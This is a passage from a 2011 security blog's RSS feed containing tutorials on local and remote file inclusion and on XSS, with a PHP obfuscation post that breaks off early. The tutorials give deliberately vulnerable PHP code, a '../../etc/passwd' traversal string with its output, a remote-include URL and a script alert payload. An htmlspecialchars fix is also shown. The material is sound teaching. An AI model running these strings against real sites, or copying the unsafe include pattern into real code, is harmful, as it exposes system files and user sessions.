&lt;i style="font-family: Verdana,sans-serif;"&gt;That's it for this tutorial stay tuned for more.&lt;/i&gt;    &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class="articleheading" style="font-family: Verdana,sans-serif;"&gt;Tell the World ...&lt;/h3&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-6408039755208484985?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/RFl_lBYpfGo" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/RFl_lBYpfGo/basics-of-arbitary-file-upload.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://4.bp.blogspot.com/-ly8eQJZ8v9k/Tu-z9kZouuI/AAAAAAAAAWk/2UJnfkKnUy4/s72-c/1.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/12/basics-of-arbitary-file-upload.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-4179627214363136613</guid><pubDate>Mon, 19 Dec 2011 21:54:00 +0000</pubDate><atom:updated>2011-12-19T13:54:16.419-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tutorials</category><title>Basics of LFI and RFI Attacks</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-jTX8Ter_z0Y/Tu-ybXP0NcI/AAAAAAAAAWc/9lQBFYY-4Jg/s1600/back-door.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="266" src="http://2.bp.blogspot.com/-jTX8Ter_z0Y/Tu-ybXP0NcI/AAAAAAAAAWc/9lQBFYY-4Jg/s400/back-door.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;
&lt;br /&gt;
Local File Inclusion ( LFI ) is a method of including files on a  server through a Modified Special  HTTP request.  This vulnerability can  be exploited using a Web Browser and thus can be very easy to exploit.  The vulnerability occurs when a user supplied data without sanitizing is  provided to an ‘inclusion type’ (like , include() , require() etc.) .  Mostly these attacks are accompanied by Directory Transversal attacks  which can reveal some sensitive data leading to further attacks.&lt;br /&gt;
&lt;br /&gt;
Now that’s quite a bit of theory there let’s have a look on a sample vulnerable application.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;h3 class="articleheading" style="font-family: Verdana,sans-serif;"&gt;&lt;a href="" name="bg"&gt;&lt;/a&gt;Demonstration [Proof of Concept]&lt;/h3&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;  I have created a pair of files named index.html and lfi.php&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;    lfi.php&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;   &lt;div style="font-family: Verdana,sans-serif; margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 258px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;&amp;lt;html&amp;gt;
   &amp;lt;head&amp;gt;
   &amp;lt;title&amp;gt;Vulnerable to LFI -- by lionaneesh&amp;lt;/title&amp;gt;
  &amp;lt;/head&amp;gt;   
  &amp;lt;body&amp;gt;
   
   &amp;lt;h1&amp;gt;Welcome to this Website&amp;lt;/h1&amp;gt;
   
  &amp;lt;?php $page = isset($_GET['page']) ? $_GET['page'] : 'index.html'; ?&amp;gt;
   
   &amp;lt;p&amp;gt;You are currently at &amp;lt;?php echo"&amp;lt;a href='$page'&amp;gt;$page&amp;lt;/a&amp;gt;";?&amp;gt;&amp;lt;/p&amp;gt;
   
   &amp;lt;?php include($page); ?&amp;gt;
   &amp;lt;/body&amp;gt;
  &amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;  As you see the above code has a include(USER_INPUT)  So  basically we can input any filename and it will simply print out the  contents on the screen. This is the most popular form in which these  bugs occur. &lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;   index.html&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;   &lt;div style="font-family: Verdana,sans-serif; margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;&amp;lt;p&amp;gt;Hello I am a sample page my name is index.html&amp;lt;/p&amp;gt;&lt;/pre&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;  Providing normal Input:-&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;   First let’s try and give this app a normal input which it would be expecting.&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;    &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;   Input: index.html&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;   Output:-&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;   &lt;div style="font-family: Verdana,sans-serif; margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 82px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;&lt;b&gt;Welcome to this Website&lt;/b&gt;

  You are currently at &lt;a href="http://localhost:8080/Work/Pr0gr4amming/Application%20Programming/index.html" target="_blank"&gt;index.html&lt;/a&gt;
  Hello I am a sample page my name is index.html&lt;/pre&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;  It works fine! Now let’s construct the attack string and see what happens!&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;   &lt;b style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;
&lt;br /&gt;
Constructing the attack string&lt;/b&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;   &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; As I am working on UNIX we’ll print out the contents of /etc/passwd file  , The file /etc/passwd is a local source of information  about users'  accounts.&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;   &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;   My present working directory is /var/www/ , So what I have to do is :-&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;ol style="font-family: Verdana,sans-serif; list-style-type: decimal;"&gt;&lt;li&gt;Go back 2 directories and&lt;/li&gt;
&lt;li&gt;    Then go to /etc/passwd&lt;/li&gt;
&lt;/ol&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;   We can go back 2 directories using &lt;/span&gt;&lt;b style="font-family: Verdana,sans-serif;"&gt;‘../../’&lt;/b&gt;   &lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;b style="font-family: Verdana,sans-serif;"&gt;Attack string :-&lt;/b&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;   &lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;div style="font-family: Verdana,sans-serif; margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 34px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;../../etc/passwd&lt;/pre&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;  Now lets feed this as an input and see what happens.&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;    &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;   Input: “ ../../etc/passwd”&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;    &lt;br style="font-family: Verdana,sans-serif;" /&gt;   &lt;div style="font-family: Verdana,sans-serif; margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 194px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;&lt;b&gt;Welcome to this Website&lt;/b&gt;

  You are currently at ../../etc/passwd 
  root:x:0:1:Super-User:/root:/sbin/sh 
daemon:x:1:1::/: 
bin:x:2:2::/usr/bin: 
sys:x:3:3::/: 
adm:x:4:4:Admin:/var/adm: 
lp:x:71:8:Line Printer Admin:/usr/spool/lp: 
uucp:x:5:5:uucp Admin:/usr/lib/uucp: 
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/&lt;/pre&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;  And voila! We just printed the /etc/passwd file.&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;    &lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;h3 class="articleheading" style="font-family: Verdana,sans-serif;"&gt;&lt;a href="" name="code"&gt;&lt;/a&gt;  Remote File Inclusion  &lt;/h3&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;   RFI is an abbreviation for Remove File Inclusion and is quite similar  to LFI, Remote File Inclusion  ( RFI ) is a method of including Remote  files(present on another server) on a server through a Modified Special   HTTP request.  This vulnerability can be exploited using a Web Browser  and thus can be very easy to exploit. The vulnerability occurs when a  user supplied data without sanitizing is provided to an ‘inclusion type’  (like, include (), require () etc.) &lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;   &lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;h3 class="articleheading" style="font-family: Verdana,sans-serif;"&gt;&lt;a href="" name="ref"&gt;&lt;/a&gt;  Demonstration [Proof of Concept]  &lt;/h3&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;  We’ll be using the same sample web-app we used to Demonstrate LFI&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;   Constructing the attack string:-&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;   &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;   In our case we want to include go4expert’s index file in our local file.&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;   &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;   So what we have to do is, simply provide the URI as an input and see what happens&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;   &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;   Input : &lt;/span&gt;&lt;a href="http://go4expert.com/" style="font-family: Verdana,sans-serif;" target="_blank"&gt;http://go4expert.com&lt;/a&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;   &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;   Output (page source):-&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;   &lt;div style="font-family: Verdana,sans-serif; margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 370px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
                       &amp;lt;title&amp;gt;Vulnerable to LFI -- by lionaneesh&amp;lt;/title&amp;gt;
 &amp;lt;/head&amp;gt;

 &amp;lt;body&amp;gt;

 &amp;lt;h1&amp;gt;Welcome to this Website&amp;lt;/h1&amp;gt;

  &amp;lt;p&amp;gt;You are currently at &amp;lt;a href='&lt;a href="http://www.go4expert.com/forums/view-source:http://go4expert.com/" target="_blank"&gt;http://go4expert.com&lt;/a&gt;'&amp;gt;http://go4expert.com&amp;lt;/a&amp;gt;

&amp;lt;/p&amp;gt; &amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;gt;&amp;lt;html dir="ltr" lang="en" xmlns="http://www.w3.org/1999/xhtml"&amp;gt;&amp;lt;head&amp;gt;         &amp;lt;meta http-equiv="Cache-Control" content="no-cache" /&amp;gt;        &amp;lt;meta http-equiv="Pragma" content="no-cache" /&amp;gt;
        &amp;lt;meta http-equiv="Expires" content="0" /&amp;gt;  
&amp;lt;title&amp;gt;Programming and SEO Forums &amp;lt;/title&amp;gt; 

&amp;lt;!-- ChartBeat --&amp;gt;

&amp;lt;script type="text/javascript"&amp;gt;var _sf_startpt=(new Date()).getTime()&amp;lt;/script&amp;gt;

&amp;lt;!-- /ChartBeat --&amp;gt; 

 --------Sniped-----------&lt;/pre&gt;&lt;/div&gt;&lt;b style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;
&lt;br /&gt;
Note: In most modern ‘php.ini’ files, allow_url_include is set to off  which would not allow a malicious user to include a remote file.&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-4179627214363136613?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/CvrQpUKfiXE" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/CvrQpUKfiXE/basics-of-lfi-and-rfi-attacks.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://2.bp.blogspot.com/-jTX8Ter_z0Y/Tu-ybXP0NcI/AAAAAAAAAWc/9lQBFYY-4Jg/s72-c/back-door.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/12/basics-of-lfi-and-rfi-attacks.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-3467632856532433301</guid><pubDate>Mon, 19 Dec 2011 21:45:00 +0000</pubDate><atom:updated>2011-12-19T13:45:24.184-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tips n Tricks</category><category domain="http://www.blogger.com/atom/ns#">Tutorials</category><category domain="http://www.blogger.com/atom/ns#">Ethical Hacking</category><title>Basics of XSS, How the Logic Works</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-cXDj_gA0dLU/Tu-wEWTQScI/AAAAAAAAAWU/C6mMkd1cWrs/s1600/xss-underestimated-threat.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="162" src="http://4.bp.blogspot.com/-cXDj_gA0dLU/Tu-wEWTQScI/AAAAAAAAAWU/C6mMkd1cWrs/s400/xss-underestimated-threat.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;strong&gt;&lt;br /&gt;
&lt;/strong&gt;        &lt;/div&gt;&lt;hr size="1" style="background-color: #e1d1d1; color: #e1d1d1; font-family: Verdana,sans-serif;" /&gt; &lt;center&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Cross Site Scripting also known as XSS is a popular type of Client  Site Attack, It is a type of attack which occurs in Web-Applications and  allows an attacker to inject desired client-side scripts into Web-Pages  viewed by others.&lt;/span&gt;&lt;/center&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;h3 class="articleheading" style="font-family: Verdana,sans-serif;"&gt;&lt;a href="" name="bg"&gt;&lt;/a&gt;Types of XSS&lt;/h3&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; This attack is mainly of 2 types&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;b style="font-family: Verdana,sans-serif;"&gt;Non-Persistent&lt;/b&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; This type of attack is carried out by injecting some client side code in  a Vulnerable URL. Now further the Attacker can spread this URL and send  it to his/her victims by means of some social engineering etc , on  clicking these links the Victims Unknowingly executes the injected code ,  Which in turn can result in Cookie stealing , Privacy Disclosure etc.&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;b style="font-family: Verdana,sans-serif;"&gt;Persistent&lt;/b&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; This type of Attack is more dangerous and it occurs when the data  provided by the attacker is stored by the server, which is viewed as a  normal page to the normal users.&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; Now Further the Attacker can simply inject some malicious Client Side  Code which in turn can result in Defacement of the Website, Cookie  Stealing, and Privacy Disclosure etc.&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;h3 class="articleheading" style="font-family: Verdana,sans-serif;"&gt;&lt;a href="" name="code"&gt;&lt;/a&gt;Demo&lt;/h3&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; Now that we know something about what are these type of vulnerabilities  and how they occur let’s actually take a look at how these  vulnerabilities occur How to test it!&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; Xss.php&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;div style="font-family: Verdana,sans-serif; margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code: php&lt;/div&gt;&lt;pre class="alt2" style="border: 1px inset; height: 436px; margin: 0px; overflow: auto; padding: 6px; width: 640px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;&lt;div class="php"&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;nbsp; &amp;nbsp; &amp;lt;title&amp;gt;Vulnerable to XSS&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;/html&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Welcome to XSS Demo Page&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;The Data Entered is &lt;span style="color: #b1b100;"&gt;As&lt;/span&gt; Follows :- &amp;lt;/p&amp;gt;

&lt;span style="color: black; font-weight: bold;"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span style="color: grey; font-style: italic;"&gt;/**
&amp;nbsp;* @author lionaneesh
&amp;nbsp;* @copyright 2011
&amp;nbsp;*/&lt;/span&gt;
&amp;nbsp;

&lt;span style="color: #b1b100;"&gt;if&lt;/span&gt;&lt;span style="color: #66cc66;"&gt;(&lt;/span&gt;&lt;a href="http://www.php.net/isset"&gt;&lt;span style="color: #000066;"&gt;isset&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #66cc66;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;$_GET&lt;/span&gt;[&lt;span style="color: red;"&gt;'data'&lt;/span&gt;]&lt;span style="color: #66cc66;"&gt;)&lt;/span&gt;&lt;span style="color: #66cc66;"&gt;)&lt;/span&gt;
&lt;span style="color: #66cc66;"&gt;{&lt;/span&gt;
&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;$data&lt;/span&gt; = &lt;span style="color: blue;"&gt;$_GET&lt;/span&gt;[&lt;span style="color: red;"&gt;'data'&lt;/span&gt;];
&lt;span style="color: #66cc66;"&gt;}&lt;/span&gt;
&lt;span style="color: #b1b100;"&gt;else&lt;/span&gt;
&lt;span style="color: #66cc66;"&gt;{&lt;/span&gt;
&amp;nbsp; &amp;nbsp; &lt;span style="color: blue;"&gt;$data&lt;/span&gt; = &lt;span style="color: red;"&gt;"No Data Entered !"&lt;/span&gt;;
&lt;span style="color: #66cc66;"&gt;}&lt;/span&gt;

&lt;a href="http://www.php.net/echo"&gt;&lt;span style="color: #000066;"&gt;echo&lt;/span&gt;&lt;/a&gt; &lt;span style="color: red;"&gt;"&amp;lt;i&amp;gt;$data&amp;lt;/i&amp;gt;"&lt;/span&gt;;

&lt;span style="color: black; font-weight: bold;"&gt;?&amp;gt;&lt;/span&gt;

&amp;lt;/body&amp;gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; Now Just Go to :-&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;  Site.com/path/xss.php?data=&amp;lt;script&amp;gt;alert(“XSS”);&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; And See what happens!&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; Wow! An Alert box saying XSS will appear proving that your injected code  actually executed! Now this is just an example of how these  vulnerabilities can occur in web-applications and how you can test them!&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;h3 class="articleheading" style="font-family: Verdana,sans-serif;"&gt;&lt;a href="" name="ref"&gt;&lt;/a&gt;How to Fix Them&lt;/h3&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; If you’re one of the people whose site is vulnerable to this type of  attack I recommend fixing it as soon as possible,  For the scope of this  tutorial I’ll be only covering on how these vulnerabilities can be  fixed in PHP , If you are using some other language , I recommend you to  check your Language Reference or Contact Me .&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; PHP Provides a function called htmlspecialchars() which converts the  chars into their HTML entities. Now we’ll just use this in the above  code and check what happens.&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; Xss.php (line number 33)&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;div style="font-family: Verdana,sans-serif; margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code: php&lt;/div&gt;&lt;pre class="alt2" style="border: 1px inset; height: 52px; margin: 0px; overflow: auto; padding: 6px; width: 640px;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;&lt;div class="php"&gt;&lt;a href="http://www.php.net/echo"&gt;&lt;span style="color: #000066;"&gt;echo&lt;/span&gt;&lt;/a&gt; &lt;a href="http://www.php.net/htmlspecialchars"&gt;&lt;span style="color: #000066;"&gt;htmlspecialchars&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #66cc66;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;"&amp;lt;i&amp;gt;$data&amp;lt;/i&amp;gt;"&lt;/span&gt;&lt;span style="color: #66cc66;"&gt;)&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Now let’s once more Go to :-&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;  Site.com/path/xss.php?data=&amp;lt;script&amp;gt;alert(“XSS”);&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; And See what happens!&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; Voila! U can notice the change now!&lt;/span&gt;&lt;br style="font-family: Verdana,sans-serif;" /&gt; &lt;br style="font-family: Verdana,sans-serif;" /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; That’s all for this tutorial stay tuned for more    &lt;/span&gt;&lt;br /&gt;
&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;For advanced reading &lt;a href="http://www.darknet.org.uk/2006/06/cross-site-scripting-xss/" target="_blank"&gt;click here&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;h3 class="articleheading" style="font-family: Verdana,sans-serif;"&gt;Thanks,&lt;/h3&gt;&lt;h3 class="articleheading" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Greyhat&lt;/span&gt;&lt;/h3&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-3467632856532433301?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/iG6a5WXOgzU" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/iG6a5WXOgzU/basics-of-xss-how-logic-works.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://4.bp.blogspot.com/-cXDj_gA0dLU/Tu-wEWTQScI/AAAAAAAAAWU/C6mMkd1cWrs/s72-c/xss-underestimated-threat.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/12/basics-of-xss-how-logic-works.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-6116620156780453213</guid><pubDate>Mon, 19 Dec 2011 21:36:00 +0000</pubDate><atom:updated>2011-12-19T13:36:56.796-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Ethical Hacking</category><title>Obfuscating PHP</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-TXx-pwpSLPM/Tu-uTsEiptI/AAAAAAAAAWM/nzKGGWu8nVM/s1600/images.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="301" src="http://4.bp.blogspot.com/-TXx-pwpSLPM/Tu-uTsEiptI/AAAAAAAAAWM/nzKGGWu8nVM/s400/images.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;&lt;strong&gt;&lt;br /&gt;
&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;             I must say that hiding or obfuscating is not the most effective ways  of security but it’s still effective to keep a Script Kiddy confused  about what actually you are using in your server.&lt;br /&gt;
&lt;br /&gt;
As an example - Server may use vulnerable version of PHP, with a public  exploit released at some underground markets, Most of the time a simple  automated exploit is released to help the “Point-Click-Hackers” (Script  Kiddies). Now all they have to find is which Version of PHP you are  using and if it is vulnerable, Point the exploit, launch it and own your  system. In these cases obfuscating can really help you a lot.&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;br /&gt;
By PHP obfuscation you can hide PHP, Which means you can stop or slow down a hacker attacking your machine.&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;br /&gt;
